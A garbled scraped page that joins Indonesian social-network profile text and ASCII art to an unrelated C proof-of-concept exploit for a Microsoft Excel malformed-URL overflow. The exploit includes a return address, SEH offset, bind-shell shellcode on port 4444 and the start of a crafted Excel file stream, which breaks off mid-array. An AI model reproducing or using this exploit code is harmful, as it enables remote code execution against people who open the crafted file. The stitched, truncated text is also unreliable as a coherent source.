|
|
|
|
|
|
|
 |
|
 |
| |
Tegangan Tinggi ANUKUBERBAHAYA (inget nick ini gak lo semua)!!!
|
|
|
|
 |
|
 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
 |
|
 |
| |
 |
 |
| User ID: | 567540 | | Gender: | Male | | Interested in Meeting people for: | Friends, Relationships with Women | | Status: | Single | | Age: | 25 | | Occupation: | Phone Operator,fingger push keyboard,kLicK MouSE Righ-Left,SpeAk-sPeAk&sPEak every daYS | | Location: | Indonesia | | Hometown: | Bintara Bekasi Barat | | Hobbies and Interest: | yoi Renang keren,main Game GUNBOUND,chat,browser,and ngobroL(K0NgKO) wiTh Friend 1 lagi Makan+Minum | | Affiliations: | niii apan yaa yg mo diisi...?? o0o0 ini- pUNx itu AdalaH PoLa PiKiR...!!!! | | Companies: | ArRrGggHhh MaLes Nyebutinnya Bis NOrak SEchh TeMpatnYa w aZa gaK nYaMAn diSiNi....!!!! | | Schools: | Bina Sarana Informatikan Jurusan Teknik Komputer D III | | Favorite Foods: | Makanan Ringan Kayak Mie Ayam Pangsit,Gad0-GadO,Somay,Soto Bikinan Nyokap gue itu yg Penting...!!! | | Favorite Drinks: | Biasa Kayak Manusia Yg Lain AIR Putih,Es Campur,CocaCola,(JUS KEDELAI,KAcanG HijaU BikiNan NyOkaP GUe pAsTiiiii....!!!)dan Masih Bnyak yg Liannya | | Favorite Musics: | Punx Local Musick,Brutal,Hard Core,KLeeneNGan jaWA,yah yg lain juga boleh apa aja...!! | | Favorite Books: | HumoR Bo0K,HISTORY,Yahh kayak Orang Lain paDA UmUmnya NEWS PAPER | | Favorite Tv Shows: | Dulu aDa tuhh FILM Tengah Malamnya RCTI,SCTV tuhhh keren-keren sekarang FILM Mandarin Molo | | Favorite Movies: | AaRrrrgghhhhh,doUce BIGALOww 1&2(FILM Gigolo dari Amerika tuhh keren coba tonton dahh ngakak abiss) | | About Me: | O_O
*_*
T_T
(-)_(-)
^_^
~_~
iyah W susah KaLo LAngsung kenal Enak ama oraNG laiN tapi CaRe kok SAMA Lho SEmuaa Kalo uDAh kenaL Tapi KoK,,,,
TaPi gUE HUMORIS LocH orang nya...!! huheheheheeheh
Yeaahhh KeeP PunK MY friend....!!!
| | Who I Want to Meet: | nihh DuLU PERSONIL anak-anak LAKN@T:
KanCiL ScreaM VOice: Biduan Sumbang Boi GrowweL: Voice Of Growel Paduan Suara Anak Jin MoeL ASparagus: Bass Betot Titit GoMboNg RIca-RIca: Rythem Penebar Teror Owang JunckIeSS: Lead Guitar Kurang Seger EnTrIBuLaTiOnS: Tambur Neraka
DuLu sEmua PuNya pEran Sampe SekARang seKaRang...!!!!Tapi seKArang Pada Kemana Tau OrANg-oRanGnya Apa Pada nyesEL nGusuNG PUNK,,, DuLu aNAK2X guE Bukan sekedar daNdaN dOANG,Tapi SAmpe POLA pIKIrnya UNDERGRAOUND gak mau DiliaT oraNG LAIN sElaIn KOMUNITASNya senDiri,,KaLo keluaR Cuma MAlam miNggu...!mo LAtihan Doang,SAMA KaLo AdA AcAra KetEMu PAra RemaJA yg LaiN.....!!!!
maav aDa yg MO add gUE GAk yahhh: ____ 000 ____00000 ___00__000 __000000000 _0000___0000 0000_____0000 ____________ ____________0000000000 ____________00000000000 ____________0000____0000 ____________0000____0000 ____________0000____0000 ____________00000000000 ____________0000000000 ______________________ ___________________0000000000 ___________________00000000000 ___________________0000____0000 ___________________0000____0000 ___________________0000____0000 ___________________00000000000 ___________________0000000000 ________________ 00000______00000 000000____000000 0000000000000000 0000000000000000 00000__00__00000 00000______00000 ________________ ________________ _______000000000000 _______000000000000 _______0000 _______0000 _______000000000 _______000000000 _______0000 _______000000000000 _______000000000000 _________________ _______________ ______00000 _______000 _______000 _______000 _______000 _______000 _______000 _______000 _______000 ______00000 ___________ ___________ _________________ _______________ __0000_____000__ __00000____000___ __000_000__000________________ __000__000_000__________ __000___000000___ __000_____0000__ )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
__________________OOOOOOOOOOOOOOOOOOOOOO______________________________________ I------------------------------------------------------------------------------------------------------------------------------------I
´´´´´´´´´´´´´´´´´´´´´¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶´´´´´´´´´´´´´´´´´´´´´ ´´´´´´´´´´´´´´´´´¶¶¶¶¶¶´´´´´´´´´´´´´¶¶¶¶¶¶¶´´´´´´´´´´´´´´´´ ´´´´´´´´´´´´´´¶¶¶¶´´´´´´´´´´´´´´´´´´´´´´´¶¶¶¶´´´´´´´´´´´´´´ ´´´´´´´´´´´´´¶¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´´´´´´´´´´´´ ´´´´´´´´´´´´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´´´´´´´´´´´ ´´´´´´´´´´´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´´´´´´´´´´ ´´´´´´´´´´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´´´´´´´´´´ ´´´´´´´´´´¶¶´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´¶¶´´´´´´´´´´ ´´´´´´´´´´¶¶´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´´¶´´´´´´´´´´ ´´´´´´´´´´¶¶´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´´¶´´´´´´´´´´ ´´´´´´´´´´¶¶´´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´¶¶´´´´´´´´´´ ´´´´´´´´´´¶¶´´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´´¶¶´´´´´´´´´´ ´´´´´´´´´´´¶¶´¶¶´´´¶¶¶¶¶¶¶¶´´´´´¶¶¶¶¶¶¶¶´´´¶¶´¶¶´´´´´´´´´´´ ´´´´´´´´´´´´¶¶¶¶´¶¶¶¶¶¶¶¶¶¶´´´´´¶¶¶¶¶¶¶¶¶¶´¶¶¶¶¶´´´´´´´´´´´ ´´´´´´´´´´´´´¶¶¶´¶¶¶¶¶¶¶¶¶¶´´´´´¶¶¶¶¶¶¶¶¶¶´¶¶¶´´´´´´´´´´´´´ ´´´´¶¶¶´´´´´´´¶¶´´¶¶¶¶¶¶¶¶´´´´´´´¶¶¶¶¶¶¶¶¶´´¶¶´´´´´´¶¶¶¶´´´ ´´´¶¶¶¶¶´´´´´¶¶´´´¶¶¶¶¶¶¶´´´¶¶¶´´´¶¶¶¶¶¶¶´´´¶¶´´´´´¶¶¶¶¶¶´´ ´´¶¶´´´¶¶´´´´¶¶´´´´´¶¶¶´´´´¶¶¶¶¶´´´´¶¶¶´´´´´¶¶´´´´¶¶´´´¶¶´´ ´¶¶¶´´´´¶¶¶¶´´¶¶´´´´´´´´´´¶¶¶¶¶¶¶´´´´´´´´´´¶¶´´¶¶¶¶´´´´¶¶¶´ ¶¶´´´´´´´´´¶¶¶¶¶¶¶¶´´´´´´´¶¶¶¶¶¶¶´´´´´´´¶¶¶¶¶¶¶¶¶´´´´´´´´¶¶ ¶¶¶¶¶¶¶¶¶´´´´´¶¶¶¶¶¶¶¶´´´´¶¶¶¶¶¶¶´´´´¶¶¶¶¶¶¶¶´´´´´´¶¶¶¶¶¶¶¶ ´´¶¶¶¶´¶¶¶¶¶´´´´´´¶¶¶¶¶´´´´´´´´´´´´´´¶¶¶´¶¶´´´´´¶¶¶¶¶¶´¶¶¶´ ´´´´´´´´´´¶¶¶¶¶¶´´¶¶¶´´¶¶´´´´´´´´´´´¶¶´´¶¶¶´´¶¶¶¶¶¶´´´´´´´´ ´´´´´´´´´´´´´´¶¶¶¶¶¶´¶¶´¶¶¶¶¶¶¶¶¶¶¶´¶¶´¶¶¶¶¶¶´´´´´´´´´´´´´´ ´´´´´´´´´´´´´´´´´´¶¶´¶¶´¶´¶´¶´¶´¶´¶´¶´¶´¶¶´´´´´´´´´´´´´´´´´ ´´´´´´´´´´´´´´´´¶¶¶¶´´¶´¶´¶´¶´¶´¶´¶´¶´´´¶¶¶¶¶´´´´´´´´´´´´´´ ´´´´´´´´´´´´¶¶¶¶¶´¶¶´´´¶¶¶¶¶¶¶¶¶¶¶¶¶´´´¶¶´¶¶¶¶¶´´´´´´´´´´´´ ´´´´¶¶¶¶¶¶¶¶¶¶´´´´´¶¶´´´´´´´´´´´´´´´´´¶¶´´´´´´¶¶¶¶¶¶¶¶¶´´´´ ´´´¶¶´´´´´´´´´´´¶¶¶¶¶¶¶´´´´´´´´´´´´´¶¶¶¶¶¶¶¶´´´´´´´´´´¶¶´´´ ´´´´¶¶¶´´´´´¶¶¶¶¶´´´´´¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶´´´´´¶¶¶¶¶´´´´´¶¶¶´´´´ ´´´´´´¶¶´´´¶¶¶´´´´´´´´´´´¶¶¶¶¶¶¶¶¶´´´´´´´´´´´¶¶¶´´´¶¶´´´´´´ ´´´´´´¶¶´´¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶´´¶¶´´´´´´ ´´´´´´´¶¶¶¶´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´´¶¶¶¶´´´´´´´
my fs :ruli_hati-hati lo jangan kasih email sembarangan@yahoo.co.id my LC:ruli_hati-hati lo jangan kasih email sembarangan.co.id Tuhh sama kan o0o0o yahh satu lagihhh w ada bloger loch yg selalu w update tapi lagihh maless ni bloger w alamatnya:ruli-blogermania.blogspot.com | | Media Box: |
Member Since 2007-10-15 21:25:27
Last Log In 2008-07-08 17:44:54
User ID:558965Gender:MaleInterested in Meeting people for:FriendsStatus:SingleAge:10Location:IndonesiaHometown:BEKASI.Schools:SDN.2008. BEKASIFavorite Foods:PEPES KEBO...kolak jengkol...Favorite Drinks:MANSION..Favorite Books:DALE CARNIEGIE..Favorite Tv Shows:porno movies....Favorite Movies:SAVING PRIVATE RYAN...Quote:add w ya.... anukukeseleo@yahoo.co.idAbout Me:lc friend cipirilie@yahoo.comWho I Want to Meet:my blog anukukeseleo.blogspot.comMedia Box:
Ooops SOrry
LIVECONNECTOR IS CLOSING SOON!!!!!
from Mr. ANUKUBERBAHAYA
(Manager of LIVECONNECTOR)
// untested /str0ke
/*---------------------------------------------------------------------
*
* Microsoft Excel Remote Code Execution Proof Of Concept.
* Tested against : Excel 2000 on Win XP SP1 , and Win2000 SP4
* Description:
* Microsoft Excel is prone to a remote code execution issue
* which may be triggered when a malformed Excel document is opened.
* The issue is due to an error in Excel while handling malformed URL
* strings. there may be other ways to trigger this vulnerability,
* successful exploitation could allow an attacker to execute
* arbitrary code with the privileges of the user running Excel.
*
* Code execution is dependent upon certain factors including the
* overflow condition, the MS Excel version and the host OS and SP.
* If you cannot get it to work, attach it with the debugger check
* the stack layout and the rest is on your imagination. :) :)
*
* Compile with MS VC++ or g++ ,it will generate the Excel file
* Clicking the link in the file binds the shell ,
* C:\nc localhost 4444
*
* Advisories:
* http://www.microsoft.com/technet/security/advisory/921365.mspx
* http://www.securityfocus.com/bid/18422/
*
* Disclaimer:
* This Proof of concept code is for educational purposes only.
* Please do not use it against any system without authorization..
*
* Greetings:
* To all Pakistani Hackers and "script kiddies" :O :O :O
* Special thanks to salman bro.
*
* --//
* naveed afzal
*--------------------------------------------------------------------------*/
#include
#include
#include
unsigned char ret_address[]="\x77\xF5\x76\xDE"; // WinXP SP1(english) pop/pop/ret in NTDLL.DLL
//unsigned char ret_address[]="\x77\xF9\x2A\x9B"; // Win2K SP4(english) jmp ebx
int seh_off = 4855; //SEH offset from the start of our buffer
//For win2k it maybe +24
//Check it in your debugger
int buff_size = 0x152E; //approximate your buffer size to fill the stack beyond SEH
//it is variant for different Excel versions
//so again consult your debugger
// win32_bind - Shellcode , port = 4444 , thanks to http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
//excel sheet formatting data bytes
unsigned char stream1[] = {
0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x03, 0x00,
0xFE, 0xFF, 0x09, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x0F, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x09, 0x08, 0x10, 0x00, 0x00, 0x06, 0x05, 0x00, 0xBB, 0x0D, 0xCC, 0x07,
0x41, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x42, 0x00, 0x02, 0x00, 0xE4, 0x04, 0x8D, 0x00,
0x02, 0x00, 0x00, 0x00, 0x3D, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x35, 0xED, 0x30,
0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x58, 0x02, 0x22, 0x00, 0x02, 0x00, 0x00, 0x00,
0x31, 0x00, 0x15, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x05, 0x00, 0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x15, 0x00, 0xC8, 0x00, 0x00,
0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x41, 0x72, 0x69,
0x61, 0x6C, 0x31, 0x00, 0x15, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x15, 0x00, 0xC8,
0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x41,
0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x16, 0x00, 0xA0, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x54, 0x61, 0x68, 0x6F, 0x6D, 0x61, 0x31, 0x00,
0x15, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x90, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x05, 0x00, 0x41, 0x72, 0x69, 0x61, 0x6C, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0,
0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
